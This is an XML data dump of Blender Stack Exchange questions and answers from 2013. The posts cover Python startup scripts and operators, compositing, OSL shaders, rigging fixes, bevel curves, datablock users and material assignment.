  <row Id="2747" PostTypeId="1" AcceptedAnswerId="2757" CreationDate="2013-09-07T10:11:00.207" Score="4" ViewCount="2241" Body="&lt;p&gt;This is a follow up of &lt;a href=&quot;https://blender.stackexchange.com/questions/2738/how-could-a-single-python-script-run-when-blender-is-started&quot;&gt;How could a single Python script run when Blender is started?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply adding a method to a newly created file in &lt;code&gt;Blender\scripts\startup&lt;/code&gt; didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning! 'C:\Program Files\Blender Foundation\Blender\2.68\scripts\startup\global.py' has no register function, this is now a requirement for registerable scripts.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used snippets from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.elysiun.com/forum/showthread.php?293032-Cannot-display-a-render-preview-of-a-scene-by-using-python-script-need-advices&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cannot-display-a-render-preview-of-a-scene-by-using-python-script-need-advices&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1768/adding-a-custom-shortcut-for-sculpt-mode&quot;&gt;Adding a custom shortcut for sculpt mode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The script current looks like (Uses Ctrl-R to toggle between rendered and textured mode in Cycles) and adds a dump method I really need):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class U(bpy.types.Operator):&#xA;    bl_idname = &quot;object.util&quot;&#xA;    bl_label = &quot;Toggle Render Mode&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # bpy.ops.sculpt.sculptmode_toggle()&#xA;        for area in bpy.context.screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                if area.spaces[0].viewport_shade == 'RENDERED':&#xA;                    area.spaces[0].viewport_shade = 'TEXTURED'&#xA;                else:&#xA;                    area.spaces[0].viewport_shade = 'RENDERED'&#xA;        return {'FINISHED'}&#xA;&#xA;    def dump( obj, ctx=&quot;&quot;, level=0):&#xA;        for attr in dir(obj):&#xA;            print( &quot;%s.%s = %s&quot; % (ctx, attr, getattr(obj, attr)))&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(U.bl_idname)&#xA;&#xA;addon_kmaps = []&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(U)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;    kmi = km.keymap_items.new(U.bl_idname, 'R', 'PRESS', ctrl=True, shift=False)&#xA;    addon_kmaps.append(km)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(U)&#xA;    bpy.types.VIEW3D_MT_object.remove(menu_func)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    for km in addon_kmaps:&#xA;        wm.keyconfigs.addon.kmaps.remove(km)&#xA;    del addon_kmaps[:]&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The toggle button works, but how can the dump() method be invoked from the python console? &#xA;I noobishly tried &lt;code&gt;U.dump(obj)&lt;/code&gt; and &lt;code&gt;bpy.U.dump(obj)&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally modified the existing &lt;code&gt;scripts/modules/console_python.py&lt;/code&gt; and added (starts add line 100):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# weak! - but highly convenient&#xA;namespace[&quot;C&quot;] = bpy.context&#xA;namespace[&quot;D&quot;] = bpy.data&#xA;namespace['dump'] = bpy.types.OBJECT_OT_util.dump # my one&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2013-09-08T08:56:57.747" Title="How can a Method from a startup Script be invoked?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2749" PostTypeId="2" ParentId="2740" CreationDate="2013-09-07T11:33:54.717" Score="4" Body="&lt;p&gt;This is a missing feature of the node API. There is a patch for this ready and waiting, but since it changes the way node sockets look i want to wait for green light from scripters before committing to trunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2013-September/041633.html&quot; rel=&quot;nofollow&quot;&gt;bf-committers thread&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: This feature has been added in trunk now (&lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=60661&quot; rel=&quot;nofollow&quot;&gt;r60661&lt;/a&gt;). Socket draw functions are responsible for drawing only labels if that is the desired behavior, otherwise inputs and outputs draw the same way. See the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Python_Node_Output_Drawing_.28r60661.29&quot; rel=&quot;nofollow&quot;&gt;API changes wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="436" LastEditDate="2013-10-10T13:21:19.837" LastActivityDate="2013-10-10T13:21:19.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2751" PostTypeId="2" ParentId="2747" CreationDate="2013-09-07T14:26:46.977" Score="2" Body="&lt;p&gt;It seem what your really after is a way to define your own &lt;a href=&quot;https://blender.stackexchange.com/q/1896/290&quot;&gt;convenience imports/variables&lt;/a&gt;. Looking at &lt;code&gt;scripts/modules/console_python.py&lt;/code&gt;, I came up with the following hack (save as &lt;a href=&quot;https://blender.stackexchange.com/a/2743/290&quot;&gt;startup script&lt;/a&gt; for use):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import inspect&#xA;from functools import wraps&#xA;from pprint import pprint&#xA;from console_python import replace_help&#xA;import console_python&#xA;&#xA;@wraps(inspect.getmembers)&#xA;def getmembers(object, predicate=None):&#xA;    pprint(inspect.getmembers(object, predicate))&#xA;&#xA;@wraps(replace_help)&#xA;def custom_convenience(namspace):&#xA;    &quot;&quot;&quot;Add custom convenience definitions.&quot;&quot;&quot;&#xA;    replace_help(namspace)&#xA;    namspace[&quot;getmembers&quot;] = getmembers&#xA;&#xA;def register():&#xA;    console_python.replace_help = custom_convenience&#xA;&#xA;def unregister():&#xA;    console_python.replace_help = replace_help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zI658.png&quot; alt=&quot;Example usage&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-09-07T23:40:17.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2752" PostTypeId="2" ParentId="2745" CreationDate="2013-09-07T14:40:35.607" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;select object that has hair&lt;/li&gt;&#xA;&lt;li&gt;select convert Particle Modifier on modifiers tab&lt;/li&gt;&#xA;&lt;li&gt;remove particle system under particles tab&lt;/li&gt;&#xA;&lt;li&gt;select converted hair mesh&lt;/li&gt;&#xA;&lt;li&gt;add screw Modifier with .1 degrees for angle and 2 steps&lt;/li&gt;&#xA;&lt;li&gt;if vertex count is too high, Add Decimate Modifier with planar&lt;/li&gt;&#xA;&lt;li&gt;apply all modifiers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now it should render &lt;em&gt;without&lt;/em&gt; the need for experimental/cpu feature set and device&lt;/p&gt;&#xA;" OwnerUserId="1239" LastActivityDate="2013-09-07T14:40:35.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2753" PostTypeId="1" CreationDate="2013-09-07T15:24:32.083" Score="5" ViewCount="107" Body="&lt;p&gt;I have an image that I want to rotate in compositor, to mix it with another image later. But as you can see in the images attached, when I use the rotate node, the image gets cropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could create a plane in 3DView and render it, but I would prefer a shorter solution inside the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to extend the canvas of the image, so this operation can be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2yIRi.png&quot; alt=&quot;non-rotated logo&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aCnnE.png&quot; alt=&quot;rotated and cropped logo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2013-09-07T15:24:32.083" Title="How to rotate an image in compositor without cropping it?" Tags="&lt;compositor&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-09-08T10:53:21.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="2754" PostTypeId="2" ParentId="2719" CreationDate="2013-09-07T17:31:06.453" Score="11" Body="&lt;p&gt;There are some restrictions on what you can do in OSL, you can't create your own BSDF or trace your own shading rays currently. There is a raytrace function for things like ambient occlusion or other tricks, but the integrator and sampling is generally outside of the control of OSL shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of the OSL design, the shader describes the material or light behavior but does not describe how the integrator and sampling should work specifically. For example the renderer may do multiple importance sampling, bidirectional ray tracing, photon mapping, .. and all those methods should work with the same OSL shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions you ask seem to involve specific algorithms, in a physically based render engine creating rays is generally the job of the integrator which can make smarter decisions at a global level rather than each individual shader doing their own sampling.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2015-05-30T11:05:32.257" LastActivityDate="2015-05-30T11:05:32.257" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2755" PostTypeId="2" ParentId="2698" CreationDate="2013-09-07T17:46:29.307" Score="7" Body="&lt;p&gt;The &lt;strong&gt;DAE_FBX exporter&lt;/strong&gt; works, just select the cameras and use &lt;em&gt;File &gt; Export Selection &gt; (channel box) DAE_FBX Export&lt;/em&gt;. The usual &lt;code&gt;y-up&lt;/code&gt; versus &lt;code&gt;z-up&lt;/code&gt; happen, but otherwise it's fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eMaLI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1240" LastEditorUserId="3710" LastEditDate="2015-11-02T08:19:27.353" LastActivityDate="2015-11-02T08:19:27.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2756" PostTypeId="2" ParentId="2741" CreationDate="2013-09-07T20:56:38.510" Score="5" Body="&lt;p&gt;You can easily fake it for &lt;em&gt;Multitexture&lt;/em&gt; and &lt;em&gt;GLSL&lt;/em&gt; - shading modes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Give the Object a material&lt;/li&gt;&#xA;&lt;li&gt;Give the material an image texture&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Mapping&lt;/em&gt; panel of that texture, set the Coordinates to &lt;em&gt;Reflection&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To make it work, you should use a sphere map and use camera view. I did this sphere map by setting the camera to orthographic (&lt;em&gt;Orthographic Scale&lt;/em&gt; of 2.0, because the sphere is 2 blender units in diameter) and rendering a reflective sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTXGT.jpg&quot; alt=&quot;Spheremap generated with Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yDqTa.jpg&quot; alt=&quot;Suzie with reflection map applied&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-08T09:06:57.740" LastActivityDate="2013-09-08T09:06:57.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2757" PostTypeId="2" ParentId="2747" CreationDate="2013-09-07T21:33:54.293" Score="5" Body="&lt;p&gt;To answer your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operator types are automatically added to &lt;code&gt;bpy.types&lt;/code&gt; on registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how a method on an operator your register can be called.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.OBJECT_OT_util.dump(bpy.context.object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that it is very rare to ever access operator types like this, its more of an internal implementation detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;normally you would access the operator via &lt;code&gt;bpy.ops.object_utils()&lt;/code&gt; but this is only for calling the operator and won't expose its original class.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Suggested alternative&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In this case I would suggest not to having &lt;code&gt;dump()&lt;/code&gt; as an operator class method at all.&#xA;If you have a function that can run outside of the operator, you're better off having it as a utility function in a module other scripts can import and use, then have the both the operator &lt;em&gt;and&lt;/em&gt; external scripts use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my_module.py&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def dump(...):&#xA;   ... do stuff ...&#xA;&#xA;class MyOperator(Operator):&#xA;    ...&#xA;    def execute(self, context):&#xA;        dump()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now any script can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import my_module&#xA;my_module.dump()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way we bypass Blender/Python API internals where its not helpful and let Python modules interact as they would typically  (outside of Blender).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-07T21:33:54.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2759" PostTypeId="2" ParentId="2729" CreationDate="2013-09-08T08:56:22.557" Score="4" Body="&lt;p&gt;Use a bevel object. You can enter the name in the &lt;em&gt;Bevel Object&lt;/em&gt; field in the &lt;em&gt;Geometry&lt;/em&gt; panel of your main curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bevel object is a second curve object that is extruded along the main curve. This gives you great flexibility to choose how the cross section of your main object should look like since you are not limited to rounding the edges. In that example however, I just imitated the original bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the bevel bezier curve to &lt;em&gt;Vector&lt;/em&gt; with the &lt;kbd&gt;V&lt;/kbd&gt; menu. That produces straight lines. Alternatively you could use a nurbs curve with &lt;em&gt;Order&lt;/em&gt; set to 2. I also put the object origin of the bevel curve on the curve. The origin of the bevelling curve is the reference point for the bevelled main curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture below, you can see(from left to right):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The original size of the curve&lt;/li&gt;&#xA;&lt;li&gt;The larger diameter, caused by an ordinary bevel.&lt;/li&gt;&#xA;&lt;li&gt;The bevel object with it's object origin in the right place.&lt;/li&gt;&#xA;&lt;li&gt;The resulting bevelled curve object with exactly the same diameter as the unbevelled curve.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLl98.png&quot; alt=&quot;Bevelling a curve&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple example of what a bevel object can do (the curve on top of the bevelled curve is a duplicate to illustrate the size of the unbevelled curve):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ElJT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The artifacts at sharp corners can (so far) only be countered by altering the main curve or by doing a &lt;a href=&quot;https://blender.stackexchange.com/a/2853/1077%22a%20boolean%20surgery%22&quot;&gt;boolean surgery&lt;/a&gt;. Even converting into a mesh and bevelling that produces unwanted results. That seems to be the main reason behind the bevelled curve growing in size.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-09-12T16:21:33.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2760" PostTypeId="1" AcceptedAnswerId="2765" CreationDate="2013-09-08T11:25:23.287" Score="4" ViewCount="4616" Body="&lt;p&gt;Hello Blender Stack Exchange, please be kind to an absolute newbie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've rigged a very basic character and managed to move him in pose mode and insert keyframes to make him walk along a scene, but I now want him to turn around. Rotating the armature deforms him horribly, making him really flat and wide. Switching into object mode and rotating him applies the rotation to every keyframe in the animation, grr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rotate my character around his own centre in pose mode or otherwise do a rotation in an animation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dropbox &lt;a href=&quot;https://dl.dropboxusercontent.com/u/8752722/HaighCharacter.blend&quot; rel=&quot;nofollow&quot;&gt;link to my .blend file&lt;/a&gt; - excuse the goofiness, it's a video I'm trying to make for my mate Haighstrom.&lt;/p&gt;&#xA;" OwnerUserId="1242" LastEditorUserId="12" LastEditDate="2013-09-08T21:32:04.067" LastActivityDate="2020-02-05T20:03:39.973" Title="Rotate posed character around the Z axis without deformation" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2761" PostTypeId="1" AcceptedAnswerId="2764" CreationDate="2013-09-08T14:22:33.967" Score="3" ViewCount="136" Body="&lt;p&gt;In the user preferences, color for selection and active object can be set, but there is no alpha slider, i.e. opacity is always 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to match a slightly distorted texture onto an object using UV editing, but due to the selection mesh lines showing in the 3DView with 100% opacity, it is hard to do this with pixel accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It there a way to set opacity of the selected mesh (by default: orange) or an alternative solution for this use case?&lt;/p&gt;&#xA;" OwnerUserId="1243" LastActivityDate="2013-09-08T15:25:45.393" Title="Is there way to control opacity of selection/active color in 3DView?" Tags="&lt;customization&gt;&lt;uv&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2762" PostTypeId="1" AcceptedAnswerId="2763" CreationDate="2013-09-08T14:30:42.363" Score="5" ViewCount="170" Body="&lt;p&gt;I'm new to blender and have just built my first 3D model. I'm wondering though if there is any way to create a properly rendered output of the 3D model in a standalone file which another user could open on their computer and have the ability to move the camera (zoom, pan, rotate etc) around? Or even if not standalone just a program that creates the rendered model and allows the user to have full camera control after the object has been rendered (rather than just getting a video/image output of the model).&lt;/p&gt;&#xA;" OwnerUserId="1244" LastEditorUserId="12" LastEditDate="2013-09-08T15:48:47.353" LastActivityDate="2013-09-08T15:48:47.353" Title="Blender Output Options" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2763" PostTypeId="2" ParentId="2762" CreationDate="2013-09-08T15:18:42.793" Score="3" Body="&lt;p&gt;Unless you create a specific setup using the Game Engine where the camera has controls for this, it is not possible to do so out of the box with Blender. Also, in my opinion, it is not entirely worth the trouble doing this as there are better ways to go about it. From experience, such a setup can quickly get clunky as there are performance issues across platforms and other things you might need to take into consideration.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I would instead recommend going with a browser solution. By doing this, you only need export once to some supported mesh format such as &lt;code&gt;.fbx&lt;/code&gt; or &lt;code&gt;.obj&lt;/code&gt; and there are very little to no dependencies &lt;em&gt;(game engine standalones tend to be a bit large)&lt;/em&gt;, the user just needs to have a modern web browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/1055/12&quot;&gt;this answer&lt;/a&gt; and there is also &lt;a href=&quot;http://p3d.in/&quot; rel=&quot;nofollow noreferrer&quot;&gt;p3d.in&lt;/a&gt; &lt;em&gt;(I highly recommend this site)&lt;/em&gt; and &lt;a href=&quot;http://sketchfab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sketchfab&lt;/a&gt;. Example of a &lt;a href=&quot;http://p3d.in/t2BFT&quot; rel=&quot;nofollow noreferrer&quot;&gt;model on p3d.in&lt;/a&gt;. It also supports textures and several other rendering options.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-09-08T15:18:42.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2764" PostTypeId="2" ParentId="2761" CreationDate="2013-09-08T15:25:45.393" Score="1" Body="&lt;p&gt;No, this feature isn't currently available. Workarounds can be found in following questions: &lt;a href=&quot;https://blender.stackexchange.com/q/1484/290&quot;&gt;Remove selection overlays when Editing UVs?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-09-08T15:25:45.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2765" PostTypeId="2" ParentId="2760" CreationDate="2013-09-08T16:26:15.573" Score="5" Body="&lt;p&gt;The problem is that you have moved the center of the mesh and the rig several times &lt;em&gt;(while in edit and pose mode)&lt;/em&gt;. This is a big no no and would have brought about even more problems if you had continued on to do more complex transforms/animation etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;TL;DR:&lt;/em&gt;&lt;/strong&gt; Clear all your object's transforms, and update the origin points for the rig and the model.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To fix.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the character and the rig and hit &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to hide the rest of the scene so as to work without any distractions.&lt;/li&gt;&#xA;&lt;li&gt;Select the character &lt;em&gt;HaighMan&lt;/em&gt; and clear all transforms, Rotation &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, Location &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; and Scale &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;em&gt;entire&lt;/em&gt; rig, which is currently in &lt;em&gt;pose mode&lt;/em&gt; with &lt;kbd&gt;A&lt;/kbd&gt; and repeat the previous steps for clearing all transforms.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still selecting the rig, use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to go to &lt;em&gt;object mode&lt;/em&gt; and repeat the steps again for clearing transforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Providing you followed the steps above, your scene should now look something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uvM0s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the rig and &lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode and adjust it to fit the model, select the root bone and use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;em&gt;Cursor to Selected&lt;/em&gt; and then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Origin to 3D Cursor&lt;/em&gt;. You can then select the rig in &lt;em&gt;object mode&lt;/em&gt; and rotate the character &lt;code&gt;90°&lt;/code&gt; on the &lt;code&gt;Y&lt;/code&gt; axis to have it stand upright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kk7rE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All should be well now, it is fixed but still broken as your previous animation keyframes are still on the armature. I would highly recommend clearing these and animating it again and also re-applying the model to the armature. If you now hit play, it will jump to the keyframed location and the character will start walking, you are now also able to rotate and scale each bone without any weird deformations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2672/12&quot;&gt;Weird Armature Deformation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/125/12&quot;&gt;How do I apply a simple armature that I made to a model?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/782/12&quot;&gt;How can I automatically generate vertex groups for an armature?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-09-08T16:26:15.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2766" PostTypeId="1" AcceptedAnswerId="2767" CreationDate="2013-09-08T21:25:21.817" Score="7" ViewCount="1014" Body="&lt;p&gt;Given a datablock &lt;code&gt;foo&lt;/code&gt;, how do I determine which other datablocks are referencing it? &lt;code&gt;foo.users&lt;/code&gt; will tell me how many references there are, but do I have to loop through every other datablock in the file to find those references? If so, can anyone recommend a reasonably generic way of doing this given the different interfaces of various datablock types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my specific application I'm trying to find and delete (or modify) datablocks with names matching a pattern. I'm mostly interested in node groups and images, which seem to acquire hidden users more easily than other objects, but this type of functionality seems generally useful.  &lt;/p&gt;&#xA;" OwnerUserId="1246" LastEditorUserId="12" LastEditDate="2013-09-08T23:24:38.847" LastActivityDate="2013-09-08T23:24:38.847" Title="How do I find the users of a datablock using the Python API?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2767" PostTypeId="2" ParentId="2766" CreationDate="2013-09-08T22:55:21.703" Score="3" Body="&lt;p&gt;There is no way, internally Blender also doesn't store this data for easy access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However some data types have convenience properties added to them to access &lt;strong&gt;some&lt;/strong&gt; of the users.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Object.users_scene&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Object.users_group&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Object.children&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are handy in many cases, but specific to object types.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-08T22:55:21.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2768" PostTypeId="1" CreationDate="2013-09-09T00:43:41.937" Score="6" ViewCount="542" Body="&lt;p&gt;I am new to Blender. I'm attempting to learn how to use it to render architectural models created in Sketchup or Rhino. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the difficulties I'm having is figuring out an efficient way to assign materials. The file I'm currently working on, for example, has a railing that has about 300 different meshes--one for each vertical rail element. In Sketchup, these items were grouped and put on their own layer, but upon import to Blender this information no longer remains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm left wondering: is there a way to assign a material to each of these elements without individually selecting each one?&lt;/p&gt;&#xA;" OwnerUserId="1247" LastEditorUserId="55" LastEditDate="2013-09-09T03:39:14.583" LastActivityDate="2013-09-11T14:03:33.137" Title="Material assignment" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;import&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
